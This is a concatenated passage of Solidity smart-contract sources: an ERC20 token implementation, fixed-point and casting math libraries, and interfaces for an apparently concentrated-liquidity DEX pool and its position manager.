interface IPool is IPoolActions, IPoolEvents, IPoolStorage {}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// @title Contains constants needed for math libraries
library MathConstants {
uint256 internal constant TWO_FEE_UNITS = 200_000;
uint256 internal constant TWO_POW_96 = 2 ** 96;
uint128 internal constant MIN_LIQUIDITY = 100;
uint8 internal constant RES_96 = 96;
uint24 internal constant FEE_UNITS = 100000;
// it is strictly less than 5% price movement if jumping MAX_TICK_DISTANCE ticks
int24 internal constant MAX_TICK_DISTANCE = 480;
// max number of tick travel when inserting if data changes
uint256 internal constant MAX_TICK_TRAVEL = 10;
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
/// @dev Code has been modified to be compatible with sol 0.8
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDivFloor(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0, '0 denom');
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1, 'denom <= prod1');
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = denominator & (~denominator + 1);
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
unchecked {
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
}
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivCeiling(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDivFloor(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
result++;
}
}
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library QuadMath {
// our equation is ax^2 - 2bx + c = 0, where a, b and c > 0
// the qudratic formula to obtain the smaller root is (2b - sqrt((2*b)^2 - 4ac)) / 2a
// which can be simplified to (b - sqrt(b^2 - ac)) / a
function getSmallerRootOfQuadEqn(
uint256 a,
uint256 b,
uint256 c
) internal pure returns (uint256 smallerRoot) {
smallerRoot = (b - sqrt(b * b - a * c)) / a;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
unchecked {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
}// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to uint32, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint32
function toUint32(uint256 y) internal pure returns (uint32 z) {
require((z = uint32(y)) == y);
}
/// @notice Cast a uint128 to a int128, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt128(uint128 y) internal pure returns (int128 z) {
require(y < 2**127);
z = int128(y);
}
/// @notice Cast a uint256 to a uint128, revert on overflow
/// @param y the uint256 to be downcasted
/// @return z The downcasted integer, now type uint128
function toUint128(uint256 y) internal pure returns (uint128 z) {
require((z = uint128(y)) == y);
}
/// @notice Cast a int128 to a uint128 and reverses the sign.
/// @param y The int128 to be casted
/// @return z = -y, now type uint128
function revToUint128(int128 y) internal pure returns (uint128 z) {
unchecked {
return type(uint128).max - uint128(y) + 1;
}
}
/// @notice Cast a uint256 to a uint160, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint160
function toUint160(uint256 y) internal pure returns (uint160 z) {
require((z = uint160(y)) == y);
}
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint256 y) internal pure returns (int256 z) {
require(y < 2**255);
z = int256(y);
}
/// @notice Cast a uint256 to a int256 and reverses the sign, revert on overflow
/// @param y The uint256 to be casted
/// @return z = -y, now type int256
function revToInt256(uint256 y) internal pure returns (int256 z) {
require(y < 2**255);
z = -int256(y);
}
/// @notice Cast a int256 to a uint256 and reverses the sign.
/// @param y The int256 to be casted
/// @return z = -y, now type uint256
function revToUint256(int256 y) internal pure returns (uint256 z) {
unchecked {
return type(uint256).max - uint256(y) + 1;
}
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
interface IRouterTokenHelper {
/// @notice Unwraps the contract's WETH balance and sends it to recipient as ETH.
/// @dev The minAmount parameter prevents malicious contracts from stealing WETH from users.
/// @param minAmount The minimum amount of WETH to unwrap
/// @param recipient The address receiving ETH
function unwrapWeth(uint256 minAmount, address recipient) external payable;
/// @notice Refunds any ETH balance held by this contract to the `msg.sender`
/// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps
/// that use ether for the input amount
function refundEth() external payable;
/// @notice Transfers the full amount of a token held by this contract to recipient
/// @dev The minAmount parameter prevents malicious contracts from stealing the token from users
/// @param token The contract address of the token which will be transferred to `recipient`
/// @param minAmount The minimum amount of token required for a transfer
/// @param recipient The destination address of the token
function transferAllTokens(
address token,
uint256 minAmount,
address recipient
) external payable;
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
interface IBasePositionManagerEvents {
/// @notice Emitted when a token is minted for a given position
/// @param tokenId the newly minted tokenId
/// @param poolId poolId of the token
/// @param liquidity liquidity minted to the position range
/// @param amount0 token0 quantity needed to mint the liquidity
/// @param amount1 token1 quantity needed to mint the liquidity
event MintPosition(
uint256 indexed tokenId,
uint80 indexed poolId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when a token is burned
/// @param tokenId id of the token
event BurnPosition(uint256 indexed tokenId);
/// @notice Emitted when add liquidity
/// @param tokenId id of the token
/// @param liquidity the increase amount of liquidity
/// @param amount0 token0 quantity needed to increase liquidity
/// @param amount1 token1 quantity needed to increase liquidity
/// @param additionalRTokenOwed additional rToken earned
event AddLiquidity(
uint256 indexed tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1,
uint256 additionalRTokenOwed
);
/// @notice Emitted when remove liquidity
/// @param tokenId id of the token
/// @param liquidity the decease amount of liquidity
/// @param amount0 token0 quantity returned when remove liquidity
/// @param amount1 token1 quantity returned when remove liquidity
/// @param additionalRTokenOwed additional rToken earned
event RemoveLiquidity(
uint256 indexed tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1,
uint256 additionalRTokenOwed
);
/// @notice Emitted when burn position's RToken
/// @param tokenId id of the token
/// @param rTokenBurn amount of position's RToken burnt
event BurnRToken(uint256 indexed tokenId, uint256 rTokenBurn);
/// @notice Emitted when sync fee growth
/// @param tokenId id of the token
/// @param additionalRTokenOwed additional rToken earned
event SyncFeeGrowth(uint256 indexed tokenId, uint256 additionalRTokenOwed);
}// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
import {IERC721} from '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import {IERC721Enumerable} from '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol';
/// @title ERC721 with permit
/// @notice Extension to ERC721 that includes a permit function for signature based approvals
interface IERC721Permit is IERC721, IERC721Enumerable {
/// @notice The permit typehash used in the permit signature
/// @return The typehash for the permit
function PERMIT_TYPEHASH() external pure returns (bytes32);
/// @notice The domain separator used in the permit signature
/// @return The domain seperator used in encoding of permit signature
function DOMAIN_SEPARATOR() external view returns (bytes32);
/// @notice Approve of a specific token ID for spending by spender via signature
/// @param spender The account that is being approved
/// @param tokenId The ID of the token that is being approved for spending
/// @param deadline The deadline timestamp by which the call must be mined for the approve to work
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
interface IPoolActions {
/// @notice Sets the initial price for the pool and seeds reinvestment liquidity
/// @dev Assumes the caller has sent the necessary token amounts
/// required for initializing reinvestment liquidity prior to calling this function
/// @param initialSqrtP the initial sqrt price of the pool
/// @param qty0 token0 quantity sent to and locked permanently in the pool
/// @param qty1 token1 quantity sent to and locked permanently in the pool
function unlockPool(uint160 initialSqrtP) external returns (uint256 qty0, uint256 qty1);
/// @notice Adds liquidity for the specified recipient/tickLower/tickUpper position
/// @dev Any token0 or token1 owed for the liquidity provision have to be paid for when
/// the IMintCallback#mintCallback is called to this method's caller
/// The quantity of token0/token1 to be sent depends on
/// tickLower, tickUpper, the amount of liquidity, and the current price of the pool.
/// Also sends reinvestment tokens (fees) to the recipient for any fees collected
/// while the position is in range
/// Reinvestment tokens have to be burnt via #burnRTokens in exchange for token0 and token1
/// @param recipient Address for which the added liquidity is credited to
/// @param tickLower Recipient position's lower tick
/// @param tickUpper Recipient position's upper tick
/// @param ticksPrevious The nearest tick that is initialized and <= the lower & upper ticks
/// @param qty Liquidity quantity to mint
/// @param data Data (if any) to be passed through to the callback
/// @return qty0 token0 quantity sent to the pool in exchange for the minted liquidity
/// @return qty1 token1 quantity sent to the pool in exchange for the minted liquidity
/// @return feeGrowthInside position's updated feeGrowthInside value
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
int24[2] calldata ticksPrevious,
uint128 qty,
bytes calldata data
)
external
returns (
uint256 qty0,
uint256 qty1,
uint256 feeGrowthInside
);
/// @notice Remove liquidity from the caller
/// Also sends reinvestment tokens (fees) to the caller for any fees collected
/// while the position is in range
/// Reinvestment tokens have to be burnt via #burnRTokens in exchange for token0 and token1
/// @param tickLower Position's lower tick for which to burn liquidity
/// @param tickUpper Position's upper tick for which to burn liquidity
/// @param qty Liquidity quantity to burn
/// @return qty0 token0 quantity sent to the caller
/// @return qty1 token1 quantity sent to the caller
/// @return feeGrowthInside position's updated feeGrowthInside value
function burn(
int24 tickLower,
int24 tickUpper,
uint128 qty
)
external
returns (
uint256 qty0,
uint256 qty1,
uint256 feeGrowthInside
);
/// @notice Burns reinvestment tokens in exchange to receive the fees collected in token0 and token1
/// @param qty Reinvestment token quantity to burn
/// @param isLogicalBurn true if burning rTokens without returning any token0/token1
/// otherwise should transfer token0/token1 to sender
/// @return qty0 token0 quantity sent to the caller for burnt reinvestment tokens
/// @return qty1 token1 quantity sent to the caller for burnt reinvestment tokens
function burnRTokens(uint256 qty, bool isLogicalBurn)
external
returns (uint256 qty0, uint256 qty1);
/// @notice Swap token0 -> token1, or vice versa
/// @dev This method's caller receives a callback in the form of ISwapCallback#swapCallback
/// @dev swaps will execute up to limitSqrtP or swapQty is fully used
/// @param recipient The address to receive the swap output
/// @param swapQty The swap quantity, which implicitly configures the swap as exact input (>0), or exact output (<0)
/// @param isToken0 Whether the swapQty is specified in token0 (true) or token1 (false)
/// @param limitSqrtP the limit of sqrt price after swapping
/// could be MAX_SQRT_RATIO-1 when swapping 1 -> 0 and MIN_SQRT_RATIO+1 when swapping 0 -> 1 for no limit swap
/// @param data Any data to be passed through to the callback
/// @return qty0 Exact token0 qty sent to recipient if < 0. Minimally received quantity if > 0.
/// @return qty1 Exact token1 qty sent to recipient if < 0. Minimally received quantity if > 0.
function swap(
address recipient,
int256 swapQty,
bool isToken0,
uint160 limitSqrtP,
bytes calldata data
) external returns (int256 qty0, int256 qty1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IFlashCallback#flashCallback
/// @dev Fees collected are sent to the feeTo address if it is set in Factory
/// @param recipient The address which will receive the token0 and token1 quantities
/// @param qty0 token0 quantity to be loaned to the recipient
/// @param qty1 token1 quantity to be loaned to the recipient
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 qty0,
uint256 qty1,
bytes calldata data
) external;
/// @notice sync fee of position
/// @param tickLower Position's lower tick
/// @param tickUpper Position's upper tick
function tweakPosZeroLiq(int24 tickLower, int24 tickUpper)
external returns(uint256 feeGrowthInsideLast);
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
interface IPoolEvents {
/// @notice Emitted only once per pool when #initialize is first called
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtP The initial price of the pool
/// @param tick The initial tick of the pool
event Initialize(uint160 sqrtP, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @dev transfers reinvestment tokens for any collected fees earned by the position
/// @param sender address that minted the liquidity
/// @param owner address of owner of the position
/// @param tickLower position's lower tick
/// @param tickUpper position's upper tick
/// @param qty liquidity minted to the position range
/// @param qty0 token0 quantity needed to mint the liquidity
/// @param qty1 token1 quantity needed to mint the liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 qty,
uint256 qty0,
uint256 qty1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev transfers reinvestment tokens for any collected fees earned by the position
/// @param owner address of owner of the position
/// @param tickLower position's lower tick
/// @param tickUpper position's upper tick
/// @param qty liquidity removed
/// @param qty0 token0 quantity withdrawn from removal of liquidity
/// @param qty1 token1 quantity withdrawn from removal of liquidity
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 qty,
uint256 qty0,
uint256 qty1
);
/// @notice Emitted when reinvestment tokens are burnt
/// @param owner address which burnt the reinvestment tokens
/// @param qty reinvestment token quantity burnt
/// @param qty0 token0 quantity sent to owner for burning reinvestment tokens
/// @param qty1 token1 quantity sent to owner for burning reinvestment tokens
event BurnRTokens(address indexed owner, uint256 qty, uint256 qty0, uint256 qty1);
/// @notice Emitted for swaps by the pool between token0 and token1
/// @param sender Address that initiated the swap call, and that received the callback
/// @param recipient Address that received the swap output
/// @param deltaQty0 Change in pool's token0 balance
/// @param deltaQty1 Change in pool's token1 balance
/// @param sqrtP Pool's sqrt price after the swap
/// @param liquidity Pool's liquidity after the swap
/// @param currentTick Log base 1.0001 of pool's price after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 deltaQty0,
int256 deltaQty1,
uint160 sqrtP,
uint128 liquidity,
int24 currentTick
);
/// @notice Emitted by the pool for any flash loans of token0/token1
/// @param sender The address that initiated the flash loan, and that received the callback
/// @param recipient The address that received the flash loan quantities
/// @param qty0 token0 quantity loaned to the recipient
/// @param qty1 token1 quantity loaned to the recipient
/// @param paid0 token0 quantity paid for the flash, which can exceed qty0 + fee
/// @param paid1 token1 quantity paid for the flash, which can exceed qty0 + fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 qty0,
uint256 qty1,
uint256 paid0,
uint256 paid1
);
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {IFactory} from '../IFactory.sol';
import {IPoolOracle} from '../oracle/IPoolOracle.sol';
interface IPoolStorage {
/// @notice The contract that deployed the pool, which must adhere to the IFactory interface
/// @return The contract address
function factory() external view returns (IFactory);
/// @notice The oracle contract that stores necessary data for price oracle
/// @return The contract address
function poolOracle() external view returns (IPoolOracle);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (IERC20);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (IERC20);
/// @notice The fee to be charged for a swap in basis points
/// @return The swap fee in basis points
function swapFeeUnits() external view returns (uint24);
/// @notice The pool tick distance
/// @dev Ticks can only be initialized and used at multiples of this value
/// It remains an int24 to avoid casting even though it is >= 1.
/// e.g: a tickDistance of 5 means ticks can be initialized every 5th tick, i.e., ..., -10, -5, 0, 5, 10, ...
/// @return The tick distance
function tickDistance() external view returns (int24);
/// @notice Maximum gross liquidity that an initialized tick can have
/// @dev This is to prevent overflow the pool's active base liquidity (uint128)
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxTickLiquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross total liquidity amount from positions that uses this tick as a lower or upper tick
/// liquidityNet how much liquidity changes when the pool tick crosses above the tick
/// feeGrowthOutside the fee growth on the other side of the tick relative to the current tick
/// secondsPerLiquidityOutside the seconds per unit of liquidity spent on the other side of the tick relative to the current tick
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside,
uint128 secondsPerLiquidityOutside
);
/// @notice Returns the previous and next initialized ticks of a specific tick
/// @dev If specified tick is uninitialized, the returned values are zero.
/// @param tick The tick to look up
function initializedTicks(int24 tick) external view returns (int24 previous, int24 next);
/// @notice Returns the information about a position by the position's key
/// @return liquidity the liquidity quantity of the position
/// @return feeGrowthInsideLast fee growth inside the tick range as of the last mint / burn action performed
function getPositions(
address owner,
int24 tickLower,
int24 tickUpper
) external view returns (uint128 liquidity, uint256 feeGrowthInsideLast);
/// @notice Fetches the pool's prices, ticks and lock status
/// @return sqrtP sqrt of current price: sqrt(token1/token0)
/// @return currentTick pool's current tick
/// @return nearestCurrentTick pool's nearest initialized tick that is <= currentTick
/// @return locked true if pool is locked, false otherwise
function getPoolState()
external
view
returns (
uint160 sqrtP,
int24 currentTick,
int24 nearestCurrentTick,
bool locked
);
/// @notice Fetches the pool's liquidity values
/// @return baseL pool's base liquidity without reinvest liqudity
/// @return reinvestL the liquidity is reinvested into the pool
/// @return reinvestLLast last cached value of reinvestL, used for calculating reinvestment token qty
function getLiquidityState()
external
view
returns (
uint128 baseL,
uint128 reinvestL,
uint128 reinvestLLast
);
/// @return feeGrowthGlobal All-time fee growth per unit of liquidity of the pool
function getFeeGrowthGlobal() external view returns (uint256);
/// @return secondsPerLiquidityGlobal All-time seconds per unit of liquidity of the pool
/// @return lastUpdateTime The timestamp in which secondsPerLiquidityGlobal was last updated
function getSecondsPerLiquidityData()
external
view
returns (uint128 secondsPerLiquidityGlobal, uint32 lastUpdateTime);
/// @notice Calculates and returns the active time per unit of liquidity until current block.timestamp
/// @param tickLower The lower tick (of a position)
/// @param tickUpper The upper tick (of a position)
/// @return secondsPerLiquidityInside active time (multiplied by 2^96)
/// between the 2 ticks, per unit of liquidity.
function getSecondsPerLiquidityInside(int24 tickLower, int24 tickUpper)
external
view
returns (uint128 secondsPerLiquidityInside);
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
